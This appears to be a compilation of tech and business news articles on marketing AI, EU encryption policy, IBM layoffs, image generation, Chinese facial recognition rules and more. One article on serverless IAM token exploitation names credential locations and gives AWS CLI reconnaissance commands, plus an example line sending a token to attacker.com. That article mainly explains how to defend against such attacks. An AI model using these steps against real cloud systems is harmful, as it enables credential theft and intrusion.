5 Reasons CMOs Are All-in on AI Adoption Moving Forward

The rise of AI has already had a significant impact in the creative space, and there are few areas of business where this is felt more strongly than in marketing. In fact, CMOs are largely the ones leading the charge on AI adoption, resulting in a top-down approach to this marketing change, rather than seeing innovation come from the bottom up.

There are many reasons why CMOs are taking an increasingly favorable view of AI adoption. Here’s a closer look at why they find it to be an important part of their future operations, and why the best marketing leaders are trying to encourage buy-in from the rest of their teams as well.

1. Enhancing Creativity

Unsurprisingly, a key part of the reason CMOs are so enthusiastic about AI is its potential for enhancing creative efforts. While attempts at creating content solely through AI tend to get the most attention (and negative feedback), most marketing teams instead use AI in areas such as design assistance, preparing content outlines, or reworking existing content.

It’s important to note that such uses do not replace the impact of human marketers. Instead, AI tools are most effective when they augment the creative effort and output of marketing teams. For example, writing assistants can generate outlines of articles and mockups of visual assets or provide editing assistance, while personalization tools can quickly rework content for different audiences. 

This allows teams to spend more of their time on higher-level tasks, which can result in stronger marketing outcomes.

2. Unlocking Efficiency

AI’s ability to improve overall efficiency is a key factor behind CMOs’ enthusiasm. For example, research from HubSpot found that 81% of AI users said it helped them reduce the amount of time spent on manual or administrative tasks, and 71% said it allowed them to spend more time on their most important responsibilities.

For CMOs and others in leadership positions, such a dramatic shift in how they spend their time is especially enticing. Of course, similar benefits are available for those in middle and entry-level marketing positions.

AI’s ability to automate or simplify a wide range of marketing-related tasks such as data analysis, social media management, idea generation and customer segmentation can result in significant time savings throughout the organization. With more time to focus on higher-level tasks, the quality of all marketing work can increase exponentially.

3. More Experience and Training

It’s also worth noting that a unique aspect behind CMOs’ enthusiasm for AI stems from the level of hands-on experience and training that they have with the technology. According to a research report from Lightricks and the American Marketing Association, 61% of marketing executives use AI on a weekly basis, compared to just 42% of entry-level marketers. In addition, 65% of executives have received formal AI training — with the majority receiving training through their company.

Executives’ experience and training with AI far outpace that of entry-level marketers, which has led to significantly greater confidence in the creative potential of AI (55% vs. 33%). This illustrates that experience breeds enthusiasm, while also serving to highlight that CMOs must ensure AI training is made available to those they lead. 

With more familiarity, junior marketers will be willing to experiment more, thereby unlocking more of the benefits of AI.

4. Improved Targeting

While marketers are supposed to have a deep understanding of their target audiences, making this a reality is often easier said than done, particularly for brands that target multiple groups with diverse backgrounds, interests and interactions with the company. 

AI can draw on a large number of data points to quickly and accurately segment customers into different groups (such as lapsed customers, top fans and so on).

With this information in hand, marketing teams can then adjust campaigns and marketing content that is better tailored to the unique circumstances of each group. And of course, AI can help refine the messaging so that it is perfectly applicable to each audience segment. This is a move that naturally leads to increased sales and retention — a top goal for any CMO.

5. Removing Bias from Decision-making

Quality marketing outcomes typically rely on data — but decision-making is prone to pitfalls from our own inherent biases that can cause us to misinterpret what data actually means. 

On the other hand, many CMOs recognize that using AI to facilitate the decision-making process can provide an unbiased perspective rooted in factual information. This can guide the overall marketing strategy of the organization in a more profitable direction.

As Daniel Klein, CEO of Joseph Studios explained in an interview with The CMO Club, “The great thing about AI is it’s an excellent way to remove biases from your decision-making process. AI can pull us out of that and help us make much more sound decisions. Imagine a world where, from an e-commerce perspective, you were able to input your business objectives, and then a systematic programmatic approach to decision-making.”

Making AI an Integral Part of Marketing

As these examples illustrate, CMOs have found a variety of beneficial use cases for AI in their team’s work. By augmenting the creativity and efficiency of their teams while also providing resources that enable smarter targeting and decision-making, AI can be a powerful asset in a marketing strategy. 

As CMOs leverage their experience and training in this area to improve education and confidence among all team members, they can foster greater buy-in at all levels of their organization.

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EU Possibly Emerging As One Of The Greatest Threats To Privacy

The European Union, once praised for its pro-privacy legislation, is now leading the charge toward a future with less privacy, one where the government can use your devices to spy on you.

The EU has increasingly targeted encrypted communication as part of its Going Dark initiative, an effort to address criminals using technology to evade investigation and prosecution. As part of its efforts, the bloc has repeatedly introduced its Chat Control legislation, aimed at weakening the encryption that protects messaging services and force providers to provide a client-side backdoor for law enforcement.

While each attempt has been blocked by nations within the EU that still value privacy—such as Germany and Finland—the EU continues to push for what it calls “lawful access by design” to not only encrypted messaging, but now casting its net to include VPN providers.

In its final report, the High-Level Group (HLG) tasked with investigating the issue on behalf of the EU Commission, acknowledges the benefits digital communication has brought, along with a number of significant challenges.

Digital technologies are changing our lives – from the way we communicate to how we live and work – and the societal aspects of this shift are profound. Digitalisation has the potential to provide solutions for many of the challenges Europe and Europeans are facing, and it offers a great many opportunities – opportunities to create jobs, advance education, boost competitiveness and innovation, fight climate change, facilitate the green transition and more.

However, digitalisation also provides the conditions for criminals to exploit technological advances in order to commit crimes both online and offline. Encrypted devices and apps, new communications operators, Virtual Private Networks (VPNs), etc. are designed to protect the privacy of legitimate users. But they also provide criminals with effective means to hide their identities, market their criminal products and services, channel payments and conceal their activities and communications, effectively avoiding detection, investigation and prosecution. While there are tools and services purposely built and primarily used to carry out illegal activities, there is evidence that criminals are increasingly taking advantage of privacy-protecting measures made available by legitimate electronic communications services (ECS). Law enforcement agencies often lag behind criminals in this regard, as they lack the appropriate staff, tools and means to address this challenge effectively. As a result of these developments, access to data for law enforcement purposes has emerged in recent years as a key challenge for criminal investigations and prosecutions.

HLG’s Recommendations

While the HLG’s full report covers three broad areas: Digital Forensics, Data Retention, and Lawful Interception.

Digital Forensics

The HLG targets encryption by default, highlighting some of the challenges it poses law enforcement agencies (LEAs).

The HLG experts have been clear: encryption by default of data on devices is a core challenge that LEAs encounter. Data stored on certain types of modern devices protected by crypto chips18 or protected by strong encryption algorithms and complex passwords cannot be accessed by LEAs, even using the most powerful decryption platforms. Encryption and other cybersecurity and privacy measures are necessary to protect information systems and communication and personal data, but these measures – and in particular the increasing use of encryption by default – reduce the ability of law enforcement to gather evidence.

The report goes on to say that LEAs currently lack the resources and expertise to overcome this issue when it arises. When LEAs do face this challenge, they must rely on vulnerabilities and commercial software—such as Cellebrite or NSO Group’s Pegasus—to break into devices.

After expounding on the need to dedicate more resources to enable LEAs to have the expertise and tools needed, the report emphasizes the need for LEAs to be able to gain “lawful access” and provide a way to bypass device encryption.

A key action under this technology roadmap would be to assess the technical feasibility of built-in lawful access obligations (including for accessing encrypted data and encrypted CCTV recordings) for digital files and devices37, while ensuring strong cybersecurity safeguards and without weakening or undermining communications security. This assessment would be carried out involving all relevant stakeholders.

The HLG even proposes that device manufacturers be forced to provide the source code to the operating systems that power their devices so LEAs can better understand how to access the data.

Data Retention

The HLG highlights the challenges involved in investigating cases without regulation that requires data retention, a state that exists thanks to the EU’s previous commitment to user privacy.

Data retained by providers may be of crucial importance to effectively fight crime, and preserving such data is a precondition for enabling subsequent law enforcement access and ensuring LEAs can carry out investigations. At the same time, the principle of data minimisation laid down in the ePrivacy Directive and the General Data Protection Regulation (GDPR)41 stipulates that providers should only store (or otherwise process) traffic data as long as necessary for the purposes of the communication itself, for billing or, in specific situations, for the purpose of marketing ECS. Any other storage must be governed by a legal framework meeting the requirements set out in Article 15 of the ePrivacy Directive. This regime reflects the need to balance the fundamental rights to privacy and data protection with the purposes of law enforcement measures.

Proposed solutions include forcing companies to implement minimum data retention requirements, along with a framework for companies and LEAs to work together to handle the data.

Minimum requirements for retention of specific categories of data would need to be applicable (and enforceable) to any (present or future) economic operator providing ECS, to make the data retention framework effective both now and in the future. In order to take into account future technological developments, entities subject to data retention obligations should include telecommunication providers, OTT providers and other operators collecting data connected with a specific individual or legal person who uses their service, such as car manufacturers or LLM AI systems. These obligations must be enforceable, and there must be accountability for providers; this could be achieved using a variety of solutions, which could include market barriers (licences to operate) and administrative sanctions.

The HLG acknowledges this proposal would effectively destroy online anonymity, forcing users to register for services that may not currently have that requirement.

While for most providers, obligations to retain and provide data would require mainly technical implementation (i.e. making data collected or processed for business purposes available to competent authorities), this would entail imposing user registration procedures by default on providers which do not currently register their users because they have no business need to do so (such as OTT providers). Obligations of this kind were considered positive by the HLG experts in the context of the discussions on the need to increase transparency and accountability for providers with regard to the data they collect and store, and for how long. Existing obligations for categorisation under other instruments (GDPR) can provide insights on the data processed by these providers.

Lawful Interception

The third area the HLG covers is “lawful interception of communications.” The report goes on to highlight the difference between traditional communication methods, such as phone and SMS, versus non-traditional methods like end-to-end encrypted messaging platforms.

The reports sums up the HLG’s recommendation, saying traditional and non-traditional providers should be subject to the same rules.

As a result, the HLG experts consider it a priority to ensure that obligations on lawful interception of available data apply in the same way to traditional and non-traditional communication providers and are equally enforceable. The harmonisation of such obligations should serve to overcome the challenges related to the execution of cross-border requests.

After discussing the need for various jurisdictions with the bloc to improve cross-border cooperation, the HLG takes direct aim at encrypted content, making the case for a way to access it.

To foster a shift from a reactive approach to a more proactive one, technological challenges need to be addressed in a structured, forward-looking and multi-disciplinary way, with two main priorities: from the perspective of national authorities, it is essential to ensure that law enforcement has access to the relevant capacities to acquire and process available data in transit; while for operators and technology providers, it is vital that they are able to meet their obligations as regards access to data, privacy and cybersecurity, and that their interests are preserved.

Experts therefore suggest anticipating technological challenges through a comprehensive and forward-looking policy, based on a technology roadmap for lawful access that will set objectives and frame activities with associated funding to achieve those objectives.

The Underlying Issue

As we have stated at WPN many times, what regulatory and law enforcement authorities often fail to understand is that there is SIMPLY NO WAY to simultaneously provide strong encryption that protects individuals’ rights and safety, while also providing a backdoor to access their data. If a backdoor or data access mechanism is in place for authorities, there will forever be a risk of bad actors exploiting it.

Signal President Meredith Whittaker pointed this out in response to the EU’s repeated Chat Control legislation attempts.

Rhetorical games are cute in marketing or tabloid reporting, but they are dangerous and naive when applied to such a serious topic with such high stakes. So let’s be very clear, again: mandating mass scanning of private communications fundamentally undermines encryption. Full stop. Whether this happens via tampering with, for instance, an encryption algorithm’s random number generation, or by implementing a key escrow system, or by forcing communications to pass through a surveillance system before they’re encrypted. We can call it a backdoor, a front door, or “upload moderation.” But whatever we call it, each one of these approaches creates a vulnerability that can be exploited by hackers and hostile nation states, removing the protection of unbreakable math and putting in its place a high-value vulnerability.

As Whittaker points out, the issue of security is not one of policy or procedure—it is an issue of mathematical, scientific fact.

What Others Are Saying

Whittaker is not alone in sounding the alarm over the EU’s fixation with undermining encryption. Mullvad—WPN’s top VPN recommendation— has been outspoken as well.

Law enforcement agencies from the EU, North America and Australia continue their work to gain future lawful access to private communications within the EU initiative Going Dark.

We also note that VPNs are mentioned under “key challenges”.https://t.co/ktu9HlZre0

— Mullvad.net (@mullvadnet) March 18, 2025

Similarly, Harvard cryptography professor Matthew Green warns that if the EU’s efforts to force a backdoor into chat encryption succeeds, the bloc will go down in history as creating “the most sophisticated mass surveillance machinery ever deployed outside of China and the USSR.”

The Reason For Cautious Optimism

There may be reasons for critics of the EU’s approach to remain cautiously optimistic. Not only has the EU courts routinely struck down efforts to undermine privacy tools, but the HLG’s own report acknowledges the need to tread carefully and evaluate the feasibility of the recommendations.

On lawful access by design, law enforcement experts suggested a cautious approach, as industry actors should not be asked to integrate any system likely to weaken encryption in a generalised or systemic way for all users of a service; lawful access should remain targeted, on a communication-by-communication basis. They agreed on the relevance of the overall objective, but they insisted on the need to advance gradually and to involve all relevant categories of stakeholders, including technology, cybersecurity and privacy experts, taking into account the potential risks and the sensitivity of public debate. In particular, they strongly advised taking an evidence-based approach and carefully assessing the availability of technical solutions that do not weaken the cybersecurity of communications or negatively impact the cybersecurity of operators.

Upon further investigation, the powers that be may eventually recognize the impossibility of keeping people safe while also undermining strong encryption, privacy, and security.

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IBM Appears to Be Moving Thousands of Jobs to India

Amid reports of broader IBM layoffs, it appears the iconic tech company is quietly moving thousands of roles to India.

Multiple outlets have reported on IBM’s layoffs, with The Register describing them as “ongoing layoffs.” According to the outlet, IBM doesn’t just appear to be laying people off, but seems to be moving thousands of roles to India.

A look at IBM’s career page shows 3,722 jobs available in India, as of the time of writing, up from 173 at the beginning of 2024, and 2,946 near the end of the year. The jobs run the full gamut, from customer support to full stack developers and data engineers.

According to The Register, sources within the company seem to indicate this is more than just beefing IBM’s presence in India.

“Everyone I asked internally for ‘transfer’ all said the same thing … ‘I can only hire in India,'” our source said.

A current IBMer was told to teach “everything I know” to recently hired employees in India, after which he was effectively laid off.

“In Q4 [2024], there were widespread layoffs rumored to be in the thousands, yet over a thousand job openings were created in India,” a another former IBMer told the outlet. “The favoritism was blatant.

“Many of those laid off had extensive cloud experience, only to be back-filled with individuals who had little to none. The most concerning shift was the complete outsourcing of QA [quality assurance] to India.”

“This resulted in near-daily escalations, as they attempted to replace highly experienced Quality Engineers – some with over a decade of expertise – with new hires trained in just six months. The consequences were predictable: a massive decline in quality and efficiency.”

If the reports are correct, and IBM is moving roles en masse to India, it could well end up being a losing strategy, between the loss of experience and the ever-changing geopolitical climate.

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Overlooked Manufacturing Expenses That Eat Into the Bottom Line

Manufacturing is all about efficiency and cost control. You invest in high-quality equipment, hire skilled labor, and optimize production processes to maximize profits. That much is pretty straightforward – at least in principle. 

However, even the most well-run operations suffer from complicated, hidden costs that quietly eat into margins. These costs, though not always obvious, can have a significant impact on profitability if left unchecked.

While most businesses put the emphasis on direct expenses such as raw materials and labor, operational inefficiencies can drive up costs in ways that aren’t always immediately apparent. The key to improving profitability is identifying and controlling these hidden expenses before they become major financial burdens.

1. Energy Waste and Inefficiency

Energy consumption is often overlooked in manufacturing. Whether it’s inefficient machinery, poor insulation, or excessive heating and cooling, all of these can drive up utility bills and cut into profits. Some common causes of energy waste include:

• Outdated equipment that requires more power to operate efficiently

• Poorly maintained HVAC and refrigeration systems that overwork compressors

• Lack of insulation or improper climate control in production areas

One effective way to address energy waste is by investing in energy-efficient cooling solutions, such as industrial water chillers. Once installed, these systems help regulate temperature in small or large manufacturing facilities, preventing machinery from overheating.

2. Unplanned Downtime and Equipment Failure

Equipment failure and unplanned downtime are extremely costly in any manufacturing setting. A single breakdown can halt production and reduce output. These interruptions lead to lost revenue (among other issues).

Preventative maintenance is one of the most effective ways to avoid unplanned downtime. Instead of waiting for equipment to fail, regular inspections and servicing ensure that minor issues are addressed before they turn into major problems. Predictive maintenance – where real-time data is used to monitor the condition of machinery – can further reduce unexpected failures.

3. Poor Inventory Management

Inventory mismanagement can lead to pretty significant financial losses. Overstocking raw materials results in excess storage costs, while understocking can cause production delays and expensive rush orders. Striking the right balance requires a data-driven approach.

Failing to track inventory in real time is another common mistake. Relying on outdated manual tracking systems often results in costly errors. But implementing automated inventory management software can really help optimize stock levels, so there isn’t a need to keep excessive inventory.

4. Inefficient Workflow and Labor Utilization

Even with a skilled workforce, poor workflow design can lead to unnecessary expenses. When employees spend excessive time moving materials, searching for tools, or navigating an inefficient layout, costs go up without much tangible value being added to the bottom line.

Some strategies to streamline workflow and labor efficiency include:

• Reorganizing workstations to reduce movement and improve accessibility

• Implementing automation to handle repetitive tasks and free up skilled workers for higher-value activities

• Cross-training employees to ensure flexibility and reduce bottlenecks

5. Quality Control Failures and Product Defects

Product defects and quality control failures are more than just minor inconveniences – they result in wasted materials, costly rework, and even potential legal liabilities. Every defective product that leaves the production line increases the risk of customer complaints, recalls, or damaged brand reputation.

Manufacturers have to implement strong quality control measures at every stage of production. This includes regular inspections, standardized procedures, automated quality checks, etc. This can help catch defects before they actually become problems. 

6. Compliance Fines and Regulatory Violations

Failing to comply with industry regulations can result in hefty fines and legal trouble. And, truth be told, a lot of manufacturers underestimate how much non-compliance costs, particularly when it comes to environmental regulations, workplace safety, and labor laws.

Regulatory bodies impose strict guidelines on manufacturing processes, and violations can lead to steep financial penalties. Whether it’s failing to meet workplace safety requirements or mishandling hazardous materials, the consequences aren’t anything to scoff at.

One of the best ways to avoid regulatory fines is by staying proactive with compliance management. Regular safety audits, employee training programs, and proper documentation ensure that a company meets all required standards. Compliance should be seen as an investment rather than an expense – it protects against costly legal battles and helps maintain operational integrity.

Adding it All Up

As a manufacturer, you have to look beyond revenue and fixed costs. You also need to explore variable costs and situations where there might be inefficiencies or waste. By identifying and addressing these hidden costs, you could potentially save your business thousands of dollars per month – resulting in greater cash flow and profitability. The only question, where will you start looking first?

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OpenAI: ‘Our GPUs Our Melting’ Over New Image Features

OpenAI introduced a major new image generator, integrating it into GPT-4o, but the new generator is proving so popular that it is melting the company’s GPUs.

OpenAI announced 4o Image Generation last week, touting the generator’s accuracy and its ability to tap gain context from GPT.

GPT‑4o image generation excels at accurately rendering text, precisely following prompts, and leveraging 4o’s inherent knowledge base and chat context—including transforming uploaded images or using them as visual inspiration. These capabilities make it easier to create exactly the image you envision, helping you communicate more effectively through visuals and advancing image generation into a practical tool with precision and power.

The new image generator improves its text capabilities, as well as its ability to refine images.

Because image generation is now native to GPT‑4o, you can refine images through natural conversation. GPT‑4o can build upon images and text in chat context, ensuring consistency throughout. For example, if you’re designing a video game character, the character’s appearance remains coherent across multiple iterations as you refine and experiment.

Unfortunately, OpenAI is now limiting access, including for paid users, because the company’s GPUs are melting because of the high demand.

it's super fun seeing people love images in chatgpt.

but our GPUs are melting.

we are going to temporarily introduce some rate limits while we work on making it more efficient. hopefully won't be long!

chatgpt free tier will get 3 generations per day soon.

— Sam Altman (@sama) March 27, 2025

Altman also said the company was addressing an issue with the image generator not generating some images that it should have.

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Exploitation of Serverless IAM Tokens in Cloud Environments: A Growing Threat to Enterprise Security

The rapid adoption of serverless computing has transformed enterprise IT, offering unparalleled scalability, reduced operational overhead, and cost efficiency. However, this architectural shift has introduced new security challenges, particularly in the realm of identity and access management (IAM). Recent incidents, including reports of attackers targeting serverless IAM tokens for remote command-line access, underscore a critical vulnerability in cloud-native environments. This exploitation trend demands the attention of enterprise IT cloud security experts and industry leaders, who must adapt their strategies to safeguard ephemeral, highly privileged credentials in serverless deployments.

The Serverless Paradigm and IAM Token Mechanics

Serverless computing abstracts infrastructure management, allowing developers to focus on code execution via functions-as-a-service (FaaS) platforms like AWS Lambda, Azure Functions, or Google Cloud Functions. Underpinning this model is a dynamic IAM framework where temporary tokens—often issued via Security Token Service (STS) or OAuth mechanisms—grant runtime access to cloud resources.

These tokens, typically short-lived (e.g., AWS STS tokens default to 1 hour), are embedded in the execution environment of serverless functions. They inherit permissions from associated IAM roles, which are often overly permissive to accommodate rapid development cycles. For example, a Lambda function might assume a role with s3:* or ec2:* privileges, granting broad access to storage or compute resources.

The ephemeral nature of these tokens is both a strength and a weakness. While their short lifespan limits exposure, their automatic issuance and lack of persistent monitoring create a blind spot for traditional security controls. Attackers exploit this gap by extracting tokens during runtime, leveraging them for lateral movement or persistent access within the cloud environment.

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Exploitation Techniques: How Attackers Target Serverless IAM Tokens

Recent threat intelligence highlights a surge in attacks targeting serverless IAM tokens. A notable vector involves compromising the runtime environment to extract these credentials, often via misconfigured functions or vulnerable dependencies. Below are key exploitation techniques observed in 2025:

1. Runtime Environment Introspection
   Attackers inject malicious code into a serverless function—via supply chain attacks on third-party libraries or direct compromise of source code repositories—to query the runtime environment. In AWS Lambda, for instance, tokens are accessible via environment variables (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN) or the instance metadata service (IMDSv2 at http://169.254.169.254). A simple curl request or Python script can harvest these credentials during execution.
2. Privilege Escalation via Overly Permissive Roles
   Many serverless deployments rely on IAM roles with excessive permissions, a legacy of the “least privilege” principle being overlooked in favor of operational simplicity. Once a token is extracted, attackers can invoke additional cloud APIs (e.g., sts:AssumeRole) to escalate privileges, potentially gaining access to sensitive resources like S3 buckets, DynamoDB tables, or even cross-account assets.
3. Command-Line Access via Token Reuse
   Extracted tokens can be repurposed for remote command-line access using tools like the AWS CLI or SDKs. For example, an attacker might run aws sts get-caller-identity to verify token validity, then execute aws ec2 describe-instances or aws s3 ls to enumerate resources. Posts on X from last week suggest attackers are automating this process, chaining token extraction with reconnaissance scripts to maximize impact before token expiration.
4. Exfiltration via Function Invocation
   In some cases, attackers modify the serverless function itself to exfiltrate tokens to an external endpoint. A crafted HTTP request embedded in the function’s logic (e.g., requests.post(“https://attacker.com”, data=token)) can silently leak credentials, bypassing network-level monitoring that focuses on ingress rather than egress traffic.

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Real-World Impact: A Case Study

Consider a hypothetical enterprise running a serverless e-commerce application on AWS Lambda. A function processes customer orders, interacting with an S3 bucket for inventory data and a DynamoDB table for transaction logs. The associated IAM role grants s3:PutObject, dynamodb:PutItem, and kms:Decrypt permissions. Due to a misconfigured dependency (e.g., an outdated npm package), an attacker injects a script that extracts the runtime token and sends it to a remote server.

Within the token’s 1-hour lifespan, the attacker uses it to:

• Upload malicious files to the S3 bucket (s3:PutObject).
• Insert fraudulent transactions into DynamoDB (dynamodb:PutItem).
• Decrypt sensitive customer data stored in KMS-encrypted secrets (kms:Decrypt).

This breach, undetected by traditional perimeter defenses, compromises customer trust and incurs significant regulatory penalties under frameworks like GDPR or CCPA. Such scenarios are no longer theoretical, as evidenced by the increasing chatter on X about serverless token exploits in 2025.

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Mitigation Strategies for Enterprise IT Leaders

To counter this threat, enterprise IT cloud security teams must adopt a multi-layered approach that balances runtime protection, IAM hygiene, and continuous monitoring. Below are sophisticated strategies tailored for enterprise-scale environments:

1. ** Harden Runtime Environments**
   • Disable Metadata Access: Configure serverless functions to block access to IMDS (e.g., in AWS, set AWS_LAMBDA_FUNCTION_IMDS_HOP_LIMIT=0). This prevents token retrieval via metadata endpoints.
   • Use Custom Runtimes: Deploy functions in hardened containers or custom runtimes (e.g., AWS Lambda with Firecracker microVMs) to limit introspection capabilities.
   • Dependency Scanning: Implement static and runtime analysis of third-party libraries using tools like Snyk or Dependabot to detect vulnerabilities before deployment.
2. Enforce Least Privilege at Scale
   • Granular IAM Policies: Replace broad permissions (e.g., s3:*) with scoped policies (e.g., s3:GetObject on specific buckets). Use AWS IAM Access Analyzer to audit and refine roles dynamically.
   • Temporary Privilege Escalation: Leverage just-in-time (JIT) access models, where elevated permissions are granted only for specific tasks and revoked immediately after.
   • Role Segmentation: Assign distinct IAM roles to individual functions based on their workload, reducing the blast radius of a compromised token.
3. Monitor and Respond to Runtime Threats
   • Behavioral Analytics: Deploy cloud-native security tools like AWS GuardDuty or Azure Sentinel to detect anomalous API calls (e.g., unexpected sts:AssumeRole requests) indicative of token misuse.
   • Egress Traffic Inspection: Use VPC flow logs or Web Application Firewalls (WAFs) to monitor outbound traffic from serverless functions, flagging exfiltration attempts.
   • Token Lifecycle Management: Shorten token expiration times (e.g., 15 minutes instead of 1 hour) and implement rotation mechanisms to minimize exposure windows.
4. Adopt Zero Trust Principles
   • Mutual TLS Authentication: Require serverless functions to authenticate with downstream services using client certificates, ensuring stolen tokens alone are insufficient for access.
   • Contextual Access Controls: Integrate attribute-based access control (ABAC) to validate runtime context (e.g., function ARN, invocation source) before granting resource access.
   • Encryption in Transit and at Rest: Ensure all token interactions occur over TLS 1.3 and that sensitive data remains encrypted, thwarting man-in-the-middle attacks.

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Future Directions: Evolving Serverless Security

As serverless adoption grows, so too will the sophistication of IAM token exploits. Emerging standards like SPIFFE (Secure Production Identity Framework for Everyone) promise to streamline identity management across cloud-native workloads, offering a potential long-term solution. Meanwhile, AI-driven anomaly detection and runtime attestation (e.g., via Intel SGX or AWS Nitro Enclaves) could further harden serverless environments against credential theft.

Enterprise IT leaders must also advocate for tighter integration between cloud providers and security vendors. For instance, AWS could enhance Lambda’s execution environment with mandatory token encryption, while platforms like HashiCorp Vault could extend secrets management to serverless runtimes.

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A Critical Rrontier in Cloud Security

The exploitation of serverless IAM tokens represents a critical frontier in cloud security, blending the agility of serverless computing with the complexity of modern attack surfaces. For enterprise IT cloud security experts and industry leaders, addressing this threat requires a shift from static perimeter defenses to dynamic, runtime-focused protections. By hardening environments, enforcing least privilege, and leveraging advanced monitoring, organizations can mitigate risks and maintain trust in their cloud-native deployments. As the threat landscape evolves in 2025 and beyond, proactive adaptation will be the hallmark of resilient enterprise security.

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What Are the Benefits of 3D Concrete Printing in Construction?

In the last decade, technology has evolved and changed how we do things, including construction. The disruptive innovation has brought about 3D concrete printing, which harnesses the power of CAD (Computer-Aided Design and Drafting) and BIM (Building Information Modelling) to create real-life three-dimensional (3D) objects. In this section, we will explore the benefits that 3D concrete printing has for the construction industry. Read on!

1. Quick Turn around Time

With a concrete 3D printer, clients can enjoy faster construction speeds on all their projects. The fact that 3D printing works 24/7 means that you can save up to 60% of the time spent on the job site. Research has shown that it is plausible to successfully build a home from scratch in days.

2. Minimal Waste in Construction

Technology such as CAD and BIM is accurate in estimating the amount of materials needed and the time required for each project. According to a recent study, construction stands out as a major contributor to global waste production, which is a huge issue. By using a concrete 3D printer, you can lower the amount of waste considerably, thus saving resources and minimising your impact on Mother Earth.

3. Enhanced Health and Safety

A study by the National Safety Council shows that the construction industry is one of the most dangerous sectors to work in. In addition to working with heavy machinery and equipment, it involves working at high heights and using specialised materials and chemicals. Even though 3D concrete printers may eliminate some jobs, they minimise the risks of fatalities and injuries.

4. Enhanced Freedom in Design

Today, professional architects and designers such as Cybe Construction can build complex designs with utter ease, unlike previously when it was expensive and labour-intensive. Whether a client wants a specific shape, structure, or additional features, 3D printing in construction caters to all needs.

5. Deliver Custom-Made Constructions

Traditionally, people used methods such as moulds and cutting to customise buildings. This usually took a lot of time and effort. Even worse, there was never a durability guarantee, as most of these processes were experimental. With the accuracy of 3D concrete printing, you get structural integrity on all customised projects.

Conclusion

As you can see, concrete 3D printing has many benefits for both clients and construction agencies. It ensures better accuracy and freedom in the designs and enhances safety for all those involved. With a quick turnaround time, clients can get their tailored constructions within the shortest time possible. It is a win-win for everyone.

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China Bans Facial Recognition Without Consent

China unveiled extensive regulation of facial recognition technology, banning its use without consent and requiring security measures be taken when it is used.

Facial recognition, alongside AI, is one of the more controversial technologies under development. While advocates point to the potential benefits in fighting crime, critics point to the potential for facial recognition to infringe people’s civil rights and lead to mass surveillance. While Western governments continue to grapple with these issues, China surprised the world with sweeping regulation on how facial recognition can, and cannot, be used.

China’s Cyberspace Administration and Ministry of Public Security unveiled the new rules late last week, outlining five principles that should guide the use of facial recognition.

The “Measures” clarify the rules for the processing of face recognition technology for the processing of face information. First, it should have a specific purpose and sufficient necessity, adopt a way that has the least impact on the rights and interests of individuals, and implement strict protection measures. The second is to fulfill the obligation of notification. Third, based on the consent of the individual to deal with face information, should obtain the individual’s voluntary and explicit consent under the premise of full knowledge. Based on the consent of the individual to deal with the face information of minors under the age of 14, the consent of the parents or other guardians of the minor shall be obtained. Fourth, in addition to the laws and administrative regulations or obtain the individual’s separate consent, face information should be stored in the face recognition device, and must not be transmitted through the Internet. Except as otherwise provided by laws and administrative regulations, the retention period of face information shall not exceed the minimum period necessary to achieve the purpose of processing. Fifth, the impact assessment of personal information protection should be carried out in advance, and the processing should be recorded.

Key Elements of China’s Rules

The actual rules governing the use of facial recognition tech includes 20 articles, covering a variety of specific requirements, including the following:

Article 6 On the basis of the consent of the individual to deal with face information, the individual shall obtain the voluntary and explicit individual consent made by the individual with full knowledge. Where laws and administrative regulations stipulate that the handling of face information shall obtain the written consent of the individual, from its provisions.

Based on the consent of the individual to process face information, the individual has the right to withdraw his consent, and the personal information processor shall provide a convenient way to withdraw the consent. The withdrawal of consent by an individual does not affect the validity of the personal information processing activities that have been carried out on the basis of the individual’s consent before the withdrawal.

Article 10 Where there are other non-face recognition technologies that achieve the same purpose or meet the same business requirements, face recognition technology shall not be used as the only verification method. If an individual does not agree to authenticate through face information, it shall provide other reasonable and convenient ways.

The application of face recognition technology to verify the identity of individuals otherwise, from its provisions.

Article 13 The installation of face recognition equipment in public places shall be necessary for the maintenance of public safety, reasonably determine the area of face information collection according to law, and set up significant reminders.

No organization or individual may install face recognition equipment inside private spaces in hotel rooms, public bathrooms, public locker rooms, public toilets and other public places.

14th face recognition technology application system should take data encryption, security audit, access control, authorization management, intrusion detection and prevention and other measures to protect face information security. Where cyber security level protection and critical information infrastructure are involved in the protection of network security levels and critical information infrastructure protection shall be fulfilled in accordance with relevant national regulations.

Conclusion

China’s new facial recognition rules make no mention of the government’s use of the technology, so there’s no way of knowing at this time if the government falls under the same rules. Critics will be quick to point out that Beijing has previously made clear its desire to have a ubiquitous surveillance system in place, so it’s probably a safe bet that the government is not subject to these rules.

Nonetheless, even if the rules only apply to the private sector, China has taken a step that many Western countries have yet to take, in terms of protecting users from invasive facial recognition.

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Google ‘Nudges’ Users to Adopt Gemini in Google Drive

Google is rolling out clickable “nudges” to encourage people to give Gemini a try and see what the AI assistant can do for them within Google Drive.

Google has been rolling out Gemini, making improvements and integrating the AI model across the company’s platforms and services. In a Google Workspace Update, the company outlines its strategy.

You can use Gemini in the side panel of Google Drive to summarize one or multiple documents, get quick facts about a project, interact with PDFs, have focused conversations about a specific Drive folder, create files and folders and more.

To help you get started with Gemini in Drive even faster, you’ll notice the following clickable “nudges” at the top of your Drive homepage and folders. These will continue to evolve, and can include nudges to:

• Learn about Gemini in Drive
• Summarize a folder in Drive
• Learn about a file in Drive

Despite being caught flatfooted by Microsoft and OpenAI, Google has quickly caught up, with Gemini’s capabilities now rivaling those of ChatGPT and Anthropic’s Claude.

Compared to its rivals, Gemini has a significant advantage, in the form of Google’s ecosystems of apps and services. By deeply integrating Gemini with Drive and Workspace, Google is tapping into a broad user base that neither OpenAI or Anthropic can easily match.

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Low-Code Development in 2025: Revolutionizing Enterprise Software for Developers

In the fast-paced world of enterprise software development, low-code platforms have emerged as a cornerstone for innovation, enabling developers to deliver applications faster, more efficiently, and with greater scalability. The low-code revolution is not just a trend but a fundamental shift in how enterprises approach software development. This article explores the current state of low-code platforms, their impact on enterprise developers, recent advancements, and the challenges and opportunities they present.

The Rise of Low-Code in Enterprise Software Development

Low-code development platforms (LCDPs) provide a graphical user interface (GUI) for programming, allowing developers—and even non-developers—to build applications using drag-and-drop components, pre-built templates, and minimal hand-coding. For enterprise software developers, this means a significant reduction in development time, enabling rapid prototyping, faster iterations, and quicker time-to-market—key priorities in today’s competitive business environment.

